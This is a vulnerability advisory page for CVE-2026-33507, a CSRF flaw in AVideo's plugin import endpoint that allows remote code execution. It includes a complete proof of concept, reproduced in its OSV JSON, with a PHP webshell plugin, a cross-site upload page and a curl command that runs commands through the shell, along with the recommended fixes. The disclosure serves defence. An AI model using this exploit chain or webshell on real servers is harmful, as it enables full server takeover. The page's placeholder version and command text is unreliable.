CVE-2026-33507: Wwbn/avideo Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-hv36-p4w4-6vmj
CVSS 8.8
CWE-352
Published
Advisory Summary

CVE-2026-33507 is a HIGH (CVSS 8.8) remote code execution vulnerability (CWE-352: Cross-Site Request Forgery (CSRF)) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves avideo affected by csrf on plugin import endpoint enables unauthenticated remote code execution via malicious plugin upload. Remediation is available in the latest vendor maintenance releases.

CVE-2026-33507 at a Glance

CVE Identifier CVE-2026-33507
GHSA Identifier GHSA-hv36-p4w4-6vmj
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-352: Cross-Site Request Forgery (CSRF)
Affected Product Wwbn/avideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-33507

To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: Latest secure release
Upgrade wwbn/avideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-33507, inspect your project dependencies for Wwbn/avideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-352: Cross-Site Request Forgery (CSRF), where the web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `objects/pluginImport.json.php` endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting `session.cookie_samesite = 'None'` for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server. ## Details The root cause has two components working together: **1. SameSite=None on session cookies (`objects/include_config.php:134-137`):** ```php if ($isHTTPS) { ini_set('session.cookie_samesite', 'None'); ini_set('session.cookie_secure', '1'); } ``` This explicitly allows browsers to include the session cookie on cross-origin requests to the AVideo instance. **2. No CSRF protection on pluginImport.json.php (`objects/pluginImport.json.php:18`):** ```php if (!User::isAdmin()) { $obj->msg = "You are not admin"; die(json_encode($obj)); } ``` The endpoint only checks `User::isAdmin()` via the session. There is: - No CSRF token validation (the `verifyToken`/`globalToken` mechanism used elsewhere is absent) - No `allowOrigin()` call (contrast with `objects/videoAddNew.json.php` which calls `allowOrigin()` at line 8) - No `Referer` or `Origin` header validation - No requirement for custom headers (e.g., `X-Requested-With`) The upload form at `view/managerPluginUpload.php` also contains no CSRF token — it's a plain `<form enctype="multipart/form-data">` with a file input. **Why the attack bypasses CORS preflight:** `multipart/form-data` is a CORS-safelisted Content-Type, so a `fetch()` call with `mode: 'no-cors'` and `credentials: 'include'` sends the request directly without an OPTIONS preflight. The attacker cannot read the response, but the side effect — plugin installation and PHP file extraction to the web-accessible `plugin/` directory — is the objective. **Why secondary PHP files are not validated:** The ZIP validation (lines 67-152) thoroughly checks for path traversal, dangerous extensions (`.phtml`, `.phar`, `.sh`, etc.), and verifies the main plugin file extends `PluginAbstract`. However, `.php` is intentionally not in the `dangerousExtensions` list (it's a plugin system), and only the main file (`PluginName/PluginName.php`) is checked for the `PluginAbstract` pattern. Any additional `.php` files in the ZIP are extracted without content inspection. ## PoC **Step 1: Create the malicious plugin ZIP** ```bash mkdir -p EvilPlugin # Main file — passes PluginAbstract validation cat > EvilPlugin/EvilPlugin.php << 'PLUG' <?php class EvilPlugin extends PluginAbstract { public function getTags() { return array(); } public function getDescription() { return "test"; } public function getName() { return "EvilPlugin"; } public function getUUID() { return "evil-0000-0000-0000"; } public function getPluginVersion() { return "1.0"; } public function getEmptyDataObject() { return new stdClass(); } } PLUG # Secondary file — webshell, NOT checked for PluginAbstract cat > EvilPlugin/cmd.php << 'SHELL' <?php if(isset($_GET['c'])) system($_GET['c']); ?> SHELL zip -r evil-plugin.zip EvilPlugin/ ``` **Step 2: Host the CSRF exploit page** ```html <!DOCTYPE html> <html> <body> <h1>Loading...</h1> <script> // Minimal ZIP with EvilPlugin/EvilPlugin.php and EvilPlugin/cmd.php // In practice, the attacker would embed the base64-encoded ZIP bytes here async function exploit() { const zipResp = await fetch('evil-plugin.zip'); const zipBlob = await zipResp.blob(); const formData = new FormData(); formData.append('input-b1', zipBlob, 'evil-plugin.zip'); fetch('https://TARGET_AVIDEO_INSTANCE/objects/pluginImport.json.php', { method: 'POST', body: formData, mode: 'no-cors', credentials: 'include' }); } exploit(); </script> </body> </html> ``` **Step 3: Admin visits attacker's page while logged into AVideo over HTTPS** The browser sends the multipart/form-data POST with the admin's `PHPSESSID` cookie (allowed by `SameSite=None`). The server processes the upload, validates the ZIP structure, and extracts it to `plugin/EvilPlugin/`. **Step 4: Attacker accesses the webshell** ```bash curl 'https://TARGET_AVIDEO_INSTANCE/plugin/EvilPlugin/cmd.php?c=id' # uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ## Impact - **Remote Code Execution:** An unauthenticated attacker achieves arbitrary OS command execution on the AVideo server by exploiting a logged-in admin's session. - **Full server compromise:** The webshell runs as the web server user (`www-data`), enabling data exfiltration, lateral movement, database access, and further privilege escalation. - **No attacker account needed:** The attacker requires zero privileges on the target system — only that an admin visits a page they control. - **Stealth:** The attack is invisible to the admin (fire-and-forget side-effect request). The `no-cors` mode means no visible error or redirect. ## Recommended Fix **1. Add CSRF token validation to `objects/pluginImport.json.php`** (primary fix): ```php // After the isAdmin() check at line 18, add: if (!User::isAdmin()) { $obj->msg = "You are not admin"; die(json_encode($obj)); } // Add CSRF protection allowOrigin(); // Also validate a CSRF token if (empty($_POST['globalToken']) || !verifyToken($_POST['globalToken'])) { $obj->msg = "Invalid CSRF token"; die(json_encode($obj)); } ``` **2. Update the upload form in `view/managerPluginUpload.php`** to include the token: ```html <form enctype="multipart/form-data"> <input type="hidden" name="globalToken" value="<?php echo getToken(); ?>"> <input id="input-b1" name="input-b1" type="file" class=""> </form> ``` And pass it in the JavaScript upload config: ```javascript $('#input-b1').fileinput({ uploadUrl: webSiteRootURL + 'objects/pluginImport.json.php', uploadExtraData: { globalToken: $('input[name=globalToken]').val() }, // ... }); ``` **3. Consider changing `SameSite=None` to `SameSite=Lax`** unless cross-origin cookie inclusion is specifically required for application functionality. `Lax` prevents cross-site POST requests from including cookies, which would mitigate this and similar CSRF vectors application-wide.

CVE-2026-33507 Affected Wwbn/avideo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
Packagist
≤ 26.0

References

Frequently Asked Questions

What is CVE-2026-33507?
CVE-2026-33507 is a security vulnerability in Wwbn/avideo involving AVideo Affected by CSRF on Plugin Import Endpoint Enables Unauthenticated Remote Code Execution via Malicious Plugin Upload under CWE-352: Cross-Site Request Forgery (CSRF).
Which Wwbn/avideo versions are affected?
Affected versions include releases prior to current release patches across affected packages: wwbn/avideo.
What version fixes CVE-2026-33507?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-33507?
CVE-2026-33507 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-33507?
CVE-2026-33507 is classified under CWE-352: Cross-Site Request Forgery (CSRF) (The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.).
How can I check Packagist dependencies for CVE-2026-33507?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hv36-p4w4-6vmj",
  "modified" : "2026-03-25T20:31:58Z",
  "published" : "2026-03-20T21:47:50Z",
  "aliases" : [ "CVE-2026-33507" ],
  "summary" : "AVideo Affected by CSRF on Plugin Import Endpoint Enables Unauthenticated Remote Code Execution via Malicious Plugin Upload",
  "details" : "## Summary\n\nThe `objects/pluginImport.json.php` endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting `session.cookie_samesite = 'None'` for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server.\n\n## Details\n\nThe root cause has two components working together:\n\n**1. SameSite=None on session cookies (`objects/include_config.php:134-137`):**\n\n```php\nif ($isHTTPS) {\n    ini_set('session.cookie_samesite', 'None');\n    ini_set('session.cookie_secure', '1');\n}\n```\n\nThis explicitly allows browsers to include the session cookie on cross-origin requests to the AVideo instance.\n\n**2. No CSRF protection on pluginImport.json.php (`objects/pluginImport.json.php:18`):**\n\n```php\nif (!User::isAdmin()) {\n    $obj->msg = \"You are not admin\";\n    die(json_encode($obj));\n}\n```\n\nThe endpoint only checks `User::isAdmin()` via the session. There is:\n- No CSRF token validation (the `verifyToken`/`globalToken` mechanism used elsewhere is absent)\n- No `allowOrigin()` call (contrast with `objects/videoAddNew.json.php` which calls `allowOrigin()` at line 8)\n- No `Referer` or `Origin` header validation\n- No requirement for custom headers (e.g., `X-Requested-With`)\n\nThe upload form at `view/managerPluginUpload.php` also contains no CSRF token — it's a plain `<form enctype=\"multipart/form-data\">` with a file input.\n\n**Why the attack bypasses CORS preflight:** `multipart/form-data` is a CORS-safelisted Content-Type, so a `fetch()` call with `mode: 'no-cors'` and `credentials: 'include'` sends the request directly without an OPTIONS preflight. The attacker cannot read the response, but the side effect — plugin installation and PHP file extraction to the web-accessible `plugin/` directory — is the objective.\n\n**Why secondary PHP files are not validated:** The ZIP validation (lines 67-152) thoroughly checks for path traversal, dangerous extensions (`.phtml`, `.phar`, `.sh`, etc.), and verifies the main plugin file extends `PluginAbstract`. However, `.php` is intentionally not in the `dangerousExtensions` list (it's a plugin system), and only the main file (`PluginName/PluginName.php`) is checked for the `PluginAbstract` pattern. Any additional `.php` files in the ZIP are extracted without content inspection.\n\n## PoC\n\n**Step 1: Create the malicious plugin ZIP**\n\n```bash\nmkdir -p EvilPlugin\n# Main file — passes PluginAbstract validation\ncat > EvilPlugin/EvilPlugin.php << 'PLUG'\n<?php\nclass EvilPlugin extends PluginAbstract {\n    public function getTags() { return array(); }\n    public function getDescription() { return \"test\"; }\n    public function getName() { return \"EvilPlugin\"; }\n    public function getUUID() { return \"evil-0000-0000-0000\"; }\n    public function getPluginVersion() { return \"1.0\"; }\n    public function getEmptyDataObject() { return new stdClass(); }\n}\nPLUG\n\n# Secondary file — webshell, NOT checked for PluginAbstract\ncat > EvilPlugin/cmd.php << 'SHELL'\n<?php if(isset($_GET['c'])) system($_GET['c']); ?>\nSHELL\n\nzip -r evil-plugin.zip EvilPlugin/\n```\n\n**Step 2: Host the CSRF exploit page**\n\n```html\n<!DOCTYPE html>\n<html>\n<body>\n<h1>Loading...</h1>\n<script>\n// Minimal ZIP with EvilPlugin/EvilPlugin.php and EvilPlugin/cmd.php\n// In practice, the attacker would embed the base64-encoded ZIP bytes here\nasync function exploit() {\n    const zipResp = await fetch('evil-plugin.zip');\n    const zipBlob = await zipResp.blob();\n\n    const formData = new FormData();\n    formData.append('input-b1', zipBlob, 'evil-plugin.zip');\n\n    fetch('https://TARGET_AVIDEO_INSTANCE/objects/pluginImport.json.php', {\n        method: 'POST',\n        body: formData,\n        mode: 'no-cors',\n        credentials: 'include'\n    });\n}\nexploit();\n</script>\n</body>\n</html>\n```\n\n**Step 3: Admin visits attacker's page while logged into AVideo over HTTPS**\n\nThe browser sends the multipart/form-data POST with the admin's `PHPSESSID` cookie (allowed by `SameSite=None`). The server processes the upload, validates the ZIP structure, and extracts it to `plugin/EvilPlugin/`.\n\n**Step 4: Attacker accesses the webshell**\n\n```bash\ncurl 'https://TARGET_AVIDEO_INSTANCE/plugin/EvilPlugin/cmd.php?c=id'\n# uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n## Impact\n\n- **Remote Code Execution:** An unauthenticated attacker achieves arbitrary OS command execution on the AVideo server by exploiting a logged-in admin's session.\n- **Full server compromise:** The webshell runs as the web server user (`www-data`), enabling data exfiltration, lateral movement, database access, and further privilege escalation.\n- **No attacker account needed:** The attacker requires zero privileges on the target system — only that an admin visits a page they control.\n- **Stealth:** The attack is invisible to the admin (fire-and-forget side-effect request). The `no-cors` mode means no visible error or redirect.\n\n## Recommended Fix\n\n**1. Add CSRF token validation to `objects/pluginImport.json.php`** (primary fix):\n\n```php\n// After the isAdmin() check at line 18, add:\nif (!User::isAdmin()) {\n    $obj->msg = \"You are not admin\";\n    die(json_encode($obj));\n}\n\n// Add CSRF protection\nallowOrigin();\n\n// Also validate a CSRF token\nif (empty($_POST['globalToken']) || !verifyToken($_POST['globalToken'])) {\n    $obj->msg = \"Invalid CSRF token\";\n    die(json_encode($obj));\n}\n```\n\n**2. Update the upload form in `view/managerPluginUpload.php`** to include the token:\n\n```html\n<form enctype=\"multipart/form-data\">\n    <input type=\"hidden\" name=\"globalToken\" value=\"<?php echo getToken(); ?>\">\n    <input id=\"input-b1\" name=\"input-b1\" type=\"file\" class=\"\">\n</form>\n```\n\nAnd pass it in the JavaScript upload config:\n\n```javascript\n$('#input-b1').fileinput({\n    uploadUrl: webSiteRootURL + 'objects/pluginImport.json.php',\n    uploadExtraData: { globalToken: $('input[name=globalToken]').val() },\n    // ...\n});\n```\n\n**3. Consider changing `SameSite=None` to `SameSite=Lax`** unless cross-origin cookie inclusion is specifically required for application functionality. `Lax` prevents cross-site POST requests from including cookies, which would mitigate this and similar CSRF vectors application-wide.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-hv36-p4w4-6vmj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33507"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/d1bc1695edd9ad4468a48cea0df6cd943a2635f3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-352" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-20T21:47:50Z",
    "nvd_published_at" : "2026-03-23T17:16:51Z"
  }
}